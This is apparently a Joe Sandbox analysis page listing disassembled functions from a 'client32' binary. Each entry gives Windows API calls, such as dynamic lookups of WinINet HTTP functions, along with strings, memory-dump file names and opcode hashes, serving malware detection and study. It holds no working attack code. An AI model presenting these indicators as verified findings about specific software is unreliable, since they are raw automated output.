Function 110B9730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

ShowWindow.USER32(8D111949,00000009,?,?,?,?,?,?,?,?,?,?,110BA876,110C032C), ref: 110B977B

Part of subcall function 110B8AC0: GetSystemMetrics.USER32(0000004C), ref: 110B8AF2
Part of subcall function 110B8AC0: GetSystemMetrics.USER32(0000004D), ref: 110B8AF9
Part of subcall function 110B8AC0: GetSystemMetrics.USER32(0000004E), ref: 110B8B00
Part of subcall function 110B8AC0: GetSystemMetrics.USER32(0000004F), ref: 110B8B07
Part of subcall function 110B8AC0: SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 110B8B16
Part of subcall function 110B8AC0: GetSystemMetrics.USER32(?), ref: 110B8B24
Part of subcall function 110B8AC0: GetSystemMetrics.USER32(00000001), ref: 110B8B33

MoveWindow.USER32(8D111949,?,?,?,?,00000001), ref: 110B97A3

Strings

j CB::OnRemoteSizeRestore(%d, %d, %d, %d), xrefs: 110B97BD

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: System$Metrics$Window$InfoMoveParametersShow
String ID: j CB::OnRemoteSizeRestore(%d, %d, %d, %d)
API String ID: 2940908497-693965840
Opcode ID: 60bc414364147a50c916ce8f7c8964549782f9578ddb51fb58b5c7b9b217b13c
Instruction ID: 55e82b17da46594b085dc316db9a602337c46ecd43c839d0c1f018f75bd6c70b
Opcode Fuzzy Hash: 60bc414364147a50c916ce8f7c8964549782f9578ddb51fb58b5c7b9b217b13c
Instruction Fuzzy Hash: DA21E875B0060AAFDB08DFA8C995DBEF7B5FB88304F104268E519A7354DB30AD41CBA4

Function 11043760 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(?,?), ref: 11043784
GetClassNameA.USER32(?,?,00000040), ref: 11043799

Strings

tooltips_class32, xrefs: 110437A3

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ClassNameProcessThreadWindow
String ID: tooltips_class32
API String ID: 2910564809-1918224756
Opcode ID: 6d3c4fdc3a6f6e7596f8af0fff3375ada305fabf060d9fd927d6679c10a610bf
Instruction ID: 7b66b5eeeba6873e3bd91d5637fb3b576f23a09c5117b8e426f31f0334ec312d
Opcode Fuzzy Hash: 6d3c4fdc3a6f6e7596f8af0fff3375ada305fabf060d9fd927d6679c10a610bf
Instruction Fuzzy Hash: DF112B71A080599BD711DF74C880AEDFBB9FF55224F6051E9DC819FA40EB71A906C790

Function 110391C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 110CF130: GetDlgItem.USER32(?,000017DD), ref: 110CF18A
Part of subcall function 110CF130: ShowWindow.USER32(00000000,00000000), ref: 110CF1AF
Part of subcall function 110CF130: GetWindowRect.USER32(00000000,?), ref: 110CF1DD
Part of subcall function 110CF130: GetObjectA.GDI32(00000000,0000003C,?), ref: 110CF21D
Part of subcall function 110CF130: GetWindowTextA.USER32(00000000,?,00000100), ref: 110CF276

Part of subcall function 110CB9E0: GetDlgItemTextA.USER32(?,?,?,00000400), ref: 110CBA0C
Part of subcall function 110CB9E0: SetDlgItemTextA.USER32(?,?,00000000), ref: 110CBA30

SetDlgItemTextA.USER32(?,000004BC,?), ref: 11039202
_memset.LIBCMT ref: 11039216

Strings

210979, xrefs: 1103922B

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ItemText$Window$ObjectRectShow_memset
String ID: 210979
API String ID: 3037201586-1889704113
Opcode ID: 2bc1dfb5218c02c431ab83e71b2dcb76f085101561c9e5be1cea2ac4dddf3c12
Instruction ID: 4133adfa845279c2267cfda8ab6a139ff56e83a68c49f32f67e71b8829282469
Opcode Fuzzy Hash: 2bc1dfb5218c02c431ab83e71b2dcb76f085101561c9e5be1cea2ac4dddf3c12
Instruction Fuzzy Hash: E5119675740614AFE720DB68CC81FDAB7E8EF48704F004588F6089B280DBB1FA41CB95

Function 110ED5D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(00020019,?,00000000,EFF676FC,00000000,00020019,?,00000000), ref: 110ED600

Part of subcall function 110ED2B0: wvsprintfA.USER32(?,00020019,?), ref: 110ED2DB

Strings

Error %d getting %s, xrefs: 110ED614
(, xrefs: 110ED5F9

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: QueryValuewvsprintf
String ID: ($Error %d getting %s
API String ID: 141982866-3697087921
Opcode ID: ca51b0748ce67095b74e5d633593de675965d03fe984162ec59bedaca66226cf
Instruction ID: 957b37bb43794c395efd3ecf64b5ca03ad7d4ce898e6801f907036c689cda8f8
Opcode Fuzzy Hash: ca51b0748ce67095b74e5d633593de675965d03fe984162ec59bedaca66226cf
Instruction Fuzzy Hash: BC11C672E01108AFDB10DEADDD45DEEB3BCEF99614F00816EF815D7244EA71A914CBA1

Function 1110B550 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1110B58F

Strings

Error code %d not sent to Tutor, xrefs: 1110B5E8
Error Code Sent to Tutor is %d, xrefs: 1110B575

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset
String ID: Error Code Sent to Tutor is %d$Error code %d not sent to Tutor
API String ID: 2102423945-1777407139
Opcode ID: cb457852222b3d9b2bd104c4c917ff69952e9b88395c3a1b0ae6dfef815d539e
Instruction ID: b43b366142eeca4acab724c68f0e90673ee899940c55183fb17260b92f7d2313
Opcode Fuzzy Hash: cb457852222b3d9b2bd104c4c917ff69952e9b88395c3a1b0ae6dfef815d539e
Instruction Fuzzy Hash: 0911A07AA4111CABDB10DFA4CD51FEAF77CEF55308F1041DAEA085B240DA72AA14CBA5

Function 110D1540 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

wvsprintfA.USER32(?,?,00000000), ref: 110D1572

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

pszBuffer[1024]==0, xrefs: 110D158A
..\CTL32\NSMString.cpp, xrefs: 110D1585

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcesswsprintfwvsprintf
String ID: ..\CTL32\NSMString.cpp$pszBuffer[1024]==0
API String ID: 175691280-2052047905
Opcode ID: 7c0d153cab71b8fe9f1bfbcba2addb4273ace9702d0da0492f16544c7bd503bd
Instruction ID: b89aa90761fb3a94205c41d70d04c41302f16292cd1454487622bd2b1eadc16a
Opcode Fuzzy Hash: 7c0d153cab71b8fe9f1bfbcba2addb4273ace9702d0da0492f16544c7bd503bd
Instruction Fuzzy Hash: 0EF0A975A0025DABCF00DEE4DC40BFEFBAC9B85208F40419DF945A7240DE706A45C7A5

Function 6EEF4E20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,HttpOpenRequestA), ref: 6EEF4E34
SetLastError.KERNEL32(00000078), ref: 6EEF4E6D

Strings

HttpOpenRequestA, xrefs: 6EEF4E2E

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: HttpOpenRequestA
API String ID: 199729137-1149044843
Opcode ID: f74aedeb8d30914c738aed48417386cf6c3e82b9d55e0c528f379140dbd80091
Instruction ID: 7cd66f35b57ddc9effe5aa87a9a3de2d5eefe7dd0bf675e3da87129e57acfee6
Opcode Fuzzy Hash: f74aedeb8d30914c738aed48417386cf6c3e82b9d55e0c528f379140dbd80091
Instruction Fuzzy Hash: F3F037B2624619AFCB10CFD8D884EAB77E9EF8C714F10851AF919D7240D670E851CBA0

Function 11015030 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00001006,00000000,?), ref: 1101509D

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 11015044
m_hWnd, xrefs: 11015049

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: 815180139f2bb1a06bb201446d8668dccf0e5584833ed039e0ec19942fc9e912
Instruction ID: f09b96a616f6a33d867b0b5af4e6941d1959c252ec7f828cb2a239631c18db6c
Opcode Fuzzy Hash: 815180139f2bb1a06bb201446d8668dccf0e5584833ed039e0ec19942fc9e912
Instruction Fuzzy Hash: 1701A2B1D10219AFCB90CFA9C8457DEBBF4AB0C310F10816AE519F6240E67556808F94

Function 110D15C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

wvsprintfA.USER32(?,?,1102CC61), ref: 110D15EB

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

pszBuffer[1024]==0, xrefs: 110D1603
..\CTL32\NSMString.cpp, xrefs: 110D15FE

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcesswsprintfwvsprintf
String ID: ..\CTL32\NSMString.cpp$pszBuffer[1024]==0
API String ID: 175691280-2052047905
Opcode ID: 80bf54f75d60de959a569c8df654b715eddbd256bd047d3a81eed0e5ac7c8735
Instruction ID: d047ce25565584385d90dc1a88bf85935da342945f7d0a1e0c7239cac7a22c38
Opcode Fuzzy Hash: 80bf54f75d60de959a569c8df654b715eddbd256bd047d3a81eed0e5ac7c8735
Instruction Fuzzy Hash: 1AF0A475A0025CBBCB00DED4DC40BEEFBA8AB45208F004099F549A7140DE706A55C7A9

Function 6EEF4ED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,HttpSendRequestA), ref: 6EEF4EE4
SetLastError.KERNEL32(00000078,00000000,?,6EEFB3E2,00000000,00000000,00000000,00000000,00000000), ref: 6EEF4F11

Strings

HttpSendRequestA, xrefs: 6EEF4EDE

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: HttpSendRequestA
API String ID: 199729137-4278235638
Opcode ID: ef8e2fd9cabfca33aedd5b8ee2de1493b4b913abf8d7ec665050604db24714c0
Instruction ID: b3d2c34daedcd3e4ba65879bc8d1ebd55c6979c4b51cb2efd02976dbbd88d356
Opcode Fuzzy Hash: ef8e2fd9cabfca33aedd5b8ee2de1493b4b913abf8d7ec665050604db24714c0
Instruction Fuzzy Hash: E2F03076614718ABC720DFA4D844E5777A9FF88761F00491AFD1597200D7B0E814CBE0

Function 6EEF4E80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,HttpQueryInfoA), ref: 6EEF4E94
SetLastError.KERNEL32(00000078,00000000,?,6EEFB421,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6EEF4EC1

Strings

HttpQueryInfoA, xrefs: 6EEF4E8E

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: HttpQueryInfoA
API String ID: 199729137-45432230
Opcode ID: 684745293ce1b1956d27b93d95477376b16aced0c2becc5ed00908ffc9523cb8
Instruction ID: 99e13e26084a0a7f5225d8d1ff3f87395c95fca09440e83b162c298eea3a4235
Opcode Fuzzy Hash: 684745293ce1b1956d27b93d95477376b16aced0c2becc5ed00908ffc9523cb8
Instruction Fuzzy Hash: B5F03AB2614628AFC710DFD5D844E9777A9EF88761F00C41AB959D7300E670E8108BE0

Function 6EEF4F20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,HttpSendRequestExA), ref: 6EEF4F34
SetLastError.KERNEL32(00000078,00000000,?,6EEFB614), ref: 6EEF4F61

Strings

HttpSendRequestExA, xrefs: 6EEF4F2E

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: HttpSendRequestExA
API String ID: 199729137-1584202490
Opcode ID: 0c41195d35bc3cc26ea2caf58358ba752c245aa108e9473068e0366cefc6e269
Instruction ID: 3e4995b05541467b46bbbe360082127de7f44808da44d42bcb4f5ce948697eb2
Opcode Fuzzy Hash: 0c41195d35bc3cc26ea2caf58358ba752c245aa108e9473068e0366cefc6e269
Instruction Fuzzy Hash: B1F030B2615618ABC720DF94D944E5777A9EF48B65F00451AF90997300D670E8118BF1

Function 6EF06FD0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6EF06FDE
ctl_pittmanfunc.HTCTL32(?,00000001,?,00000050,?,00000004,00000000,00000000,?,00000000,00000050), ref: 6EF07018

Part of subcall function 6EF062B0: _memset.LIBCMT ref: 6EF062F6
Part of subcall function 6EF062B0: SetLastError.KERNEL32(00000057), ref: 6EF065A3

Strings

P, xrefs: 6EF07011

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: _memset$ErrorLastctl_pittmanfunc
String ID: P
API String ID: 2926529296-3110715001
Opcode ID: f2d1140dfb5f7439d07302f2d60303eea8d05a699deef447e1cf8c3fd2467fd0
Instruction ID: 461f5cd29b1359866b48528924b24a89a3e3720b76566791fa250d3713b8b71d
